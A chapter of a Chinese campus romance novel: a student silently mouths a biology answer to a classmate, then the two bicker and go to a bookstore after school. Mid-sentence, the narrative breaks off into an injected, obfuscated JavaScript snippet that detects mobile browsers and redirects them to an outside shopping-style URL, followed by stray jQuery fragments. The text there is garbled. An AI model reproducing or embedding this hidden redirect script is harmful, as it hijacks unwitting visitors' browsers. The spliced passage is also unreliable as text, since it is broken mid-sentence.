周三下午的生物课,阳光透过教学楼的玻璃窗,在课桌上投下斑驳的光影,空气中弥漫着粉笔灰与课本油墨混合的淡淡气息。
齐老师抱着泛黄的课程教案站在讲台前,严守课前老规矩,转身在黑板上落下一行清晰的板书:“人的血浆渗透压约为770kPa,相当于细胞内液的渗透压,是否正确?”。
笔尖划过黑板的“吱呀”声落定,她柔和的目光缓缓扫过台下低头翻书的同学。
“我们来请一位同学作答。”
话音刚落,班上十几颗脑袋不约而同地往下沉了沉,连呼吸都放轻了些。原本还飘着翻书声的教室,瞬间安静。
视野也开阔起来——那些刻意压低的头颅,让楚屹靠窗的位置愈发显眼。
齐老师的目光最终定格在他身上,打断了他望着窗外流云走神的惬意,轻声开口:“楚屹,你来回答一下?”
楚屹猛地从怔忡中惊醒,指尖还停留在课本上毫无关联的页码。
他下意识地抬头,眼神里带着几分猝不及防的慌乱,视线飞快掠过前排同学的后脑勺,像在搜寻救命稻草般试图从混沌的记忆里打捞相关知识点。
可脑海中只剩下刚才走神时闪过的云卷云舒,关于渗透压的知识早已跑得无影无踪。
讲台下静了几秒,早有同学按捺不住轻轻的偷笑,楚屹的耳尖悄悄泛起绯红,手指攥着笔杆微微用力,指节都泛了白。
“额…应…应该是……”他支支吾吾,半天说不出后半句,脸颊也跟着热了起来。
坐在他斜前方的温翊然,眼角余光早已捕捉到他的窘迫。
他没有回头,只是不动声色地将摊开的生物课本往侧面挪了挪,指尖点点知识点。
书页上用荧光笔划出的关键知识点,恰好能透过缝隙暴露在楚屹的视线范围内。
可楚屹此刻心慌意乱,压根没注意到这份隐晦的帮助。
温翊然抿了抿唇,趁着齐老师转身补充板书的间隙,缓缓侧过小半张脸,睫毛轻轻颤动,用口型一字一顿地提示:“相—等—的。”
他的动作轻得像一片羽毛,幅度小到几乎不引人注目,唯有那双清澈的眼眸,直直望向楚屹,眼底藏着几分狡黠与笃定,像在传递一个只有两人能懂的暗号。
楚屹恰好在此刻抬眼,两人的目光在空中猝然相撞。
那一瞬间,仿佛周遭的一切喧嚣都被按下了静音键,阳光在温翊然的发梢上跳跃,镀上一层柔和的金边。
他清晰地看懂了温翊然口型里的每一个字,心头莫名一暖,像被注入了一股安定的力量,刚才的慌乱渐渐消散。
他对着温翊然悄悄点头,眼神里藏着满满的感激,还有一丝不易察觉的笑意,浅浅漾在眼底。
“楚屹,想出来了吗?”齐老师转过身,目光再次投向他。
“是相等的,齐老师。”楚屹底气十足地回答,声音清亮,一扫刚才的窘迫。
齐老师满意地点点头,又顺势追问:“回答正确,那解释一下为什么相等?”
这下要完了啊!
楚屹刚扬起的自信瞬间被这突如其来的追问碾平,甚至还被狠狠踩了一脚。
他张了张嘴,脑子里一片空白,刚才只记住了答案,哪里想过背后的原理。
“没事的,讲不出来能理解,毕竟是易错题,我来讲。”
齐老师看出了他的为难,温和地摆摆手示意他坐下,再次拿起粉笔在黑板上书写起来,条理清晰地讲解着渗透压平衡的原理。
楚屹如蒙大赦般坐下,后背已经沁出了一层薄汗。
后座的赵贵结立刻用胳膊肘轻轻碰了碰他的后背,压低声音调侃:“可以啊楚屹,刚才都快卡壳卡成雕塑了,怎么突然就想起来答案了?快老实交代,是不是有高人相助?”
还不等楚屹回应,前排几个女生已经笑眯眯地转过头来,脸上带着促狭的笑容:“我们可都看见了哦,温翊然刚才特意给你使眼色呢!”
“还有口型!我看得清清楚楚,两人眼神一对上,答案就出来了,这也太默契了吧!”
“心有灵犀一点通啊!”不知是谁拔高了些许音量。
全班顿时爆发出善意的哄笑声,连正在板书的齐老师都忍不住回过头笑了笑,目光在两人身上温和地扫过,带着几分了然的笑意,并没有多说什么。
温翊然的脸颊瞬间染上绯红,像熟透的樱桃,连忙飞快地转回头,假装认认真真地看着黑板,手里的笔在笔记本上胡乱画着,可嘴角却抑制不住地微微上扬,藏着一丝羞涩。
楚屹坐在座位上,耳尖依旧发烫,却忍不住抬眼望向温翊然的背影,阳光勾勒出他柔和的轮廓,乌黑的发丝垂在肩头,安静又美好。
刚才那短暂的眼神交汇,那无声的提示,如同一颗小小的石子,在他心底漾开圈圈涟漪,久久不散。
课堂上的调侃渐渐平息,生物课继续在齐老师温和的讲解中进行,可那默契与悸动,却成了楚屹和温翊然心照不宣的小秘密,也许在青春的书页上,留下了一抹温暖而明亮的印记,带着粉笔灰的清香,和心跳的余速。
一下课,温翊然就快速转过身,胳膊撑在楚屹的桌沿,下巴抵着手臂,仰起脸冲他眨眨眼,语气里是讨赏的狡黠:“楚屹,我帮了你这么大的忙,你打算怎么报答我啊?”
楚屹却故意板着脸嘴硬:“就算你不帮,我自己也能想起来。”
温翊然挑了挑眉,故意拖长了调子:“哦~原来楚屹大神这么厉害啊,早知道我就不瞎操心,乖乖听大神自己讲解喽。”
楚屹正想反驳,却把“大神”听成了“大婶”,眉头瞬间皱成一团,脸也黑了下来。
温翊然见他突然不说话,还一脸莫名其妙的恼怒,伸手在他眼前晃了晃:“喂,楚屹?你怎么不理人了?”
话音刚落,“嘣!”的一声轻响,楚屹屈起手指,不轻不重地弹在他的额头上。
“停停停!疼啊!”温翊然捂着发红的额头,又气又委屈地瞪着他,“你干嘛呀!”
楚屹靠在椅背上,嘴角噙着一丝欠揍的笑,吊儿郎当地说:“谁让你乱喊人的。”
“楚屹!你有种放学别跑!我们浮街见!”温翊然气鼓鼓地放着狠话,拳头都攥紧了。
眼看两人就要真的拌起嘴,旁
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101418|195731||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
边的何芯郁抱着练习册挤过来,一把打断了他们:“别吵别吵!先管管约架的事,我有个生物题卡了好长时间,温泉快帮我看看!”
温翊然正想发作,被何芯郁一拽,只好先压下火气:“等一下!正忙着呢!”
刚从外面回来的李淮念恰好听见,赶紧凑过来小声说:“其实……我也可以给你讲的。”
他眼神里带着点不易察觉的期待,指尖都微微攥紧了。
何芯郁头也没抬,直接拒绝:“不用啦,翊然讲的我听得更明白。”
李淮念的眼神暗了暗,默默退到一边,却还是忍不住看向何芯郁的方向,手里的矿泉水瓶被捏得变了形。
看样子是心碎的彻底了。
放学铃一响,温翊然就气鼓鼓地收拾好书包,冲楚屹甩下一句“你要是敢跑,以后就别想我再帮你”,就拽着何芯郁先走了。
楚屹慢悠悠地把课本塞进背包,听着后座赵贵结的起哄,最终还是故意拖了十分钟才出门。
浮街是学校后门那条老巷,傍晚时人比较少。音像店门口挂着泛黄的海报,巷口的路灯刚亮起来,暖黄的光线把两人的影子拉得老长。
温翊然靠在电线杆上,抱着胳膊瞪他:“你还真敢来?”
楚屹把书包往肩上一甩,吊儿郎当地笑:“怕你一个人在这儿站着太无聊。”
“谁无聊了!”温翊然刚想发作,就看见楚屹从背包里摸出一个荔枝味的海琥硬糖,递到他眼前,“赔罪的,刚才弹疼了吧?”
温翊然的火气瞬间消了大半,却还是嘴硬地别过脸:“谁要你的糖。”手却很诚实地接了过来,剥开糖纸塞进嘴里。
荔枝味在舌尖化开,他还是故意板着脸“这就算完了?”
“不然呢?”楚屹凑近一步,路灯的光在他眼底跳跃,“要不……我让你弹回来?”
温翊然眼睛一亮,刚要抬手,就被他笑着抓住手腕。
两人的距离突然拉近。
温翊然都能闻到对方校服上淡淡的洗衣粉味道,脸颊瞬间发烫,赶紧挣开手:“靠,谁要弹你!真幼稚!”
巷尾传来李淮念的声音。他背着书包站在那里,手里还攥着一本生物练习册,犹豫着要不要过来。
刚才他跟着何芯郁走到巷口,就看见她被罗思琪叫去买文具,只好自己先过来。
“芯郁呢?”温翊然抬头问。
“被罗思琪叫走了,让我跟你说不用等她。”李淮念回答道。
“那你先回去吧,我和温泉要去书城。”随后自然地牵起温翊然的手腕,往巷口的书店走。
温翊然愣了一下,没挣开,只觉得手腕处传来温热的触感,心跳突然漏了一拍。
李淮念站在原地,看着两人的背影消失在灯光下,他低头看着鞋尖,轻声说了一句“好”,声音轻得像被晚风卷走的尘埃。
书店里,楚屹翻看着《白夜行》,温翊然靠在旁边的书架上,含着糖,看着他的侧脸。
窗外的浮街灯火渐盛,晚风带着烟火气吹进来,混着纸张的油墨香。
而温翊然只静静地看着,静静感受此刻的和谐……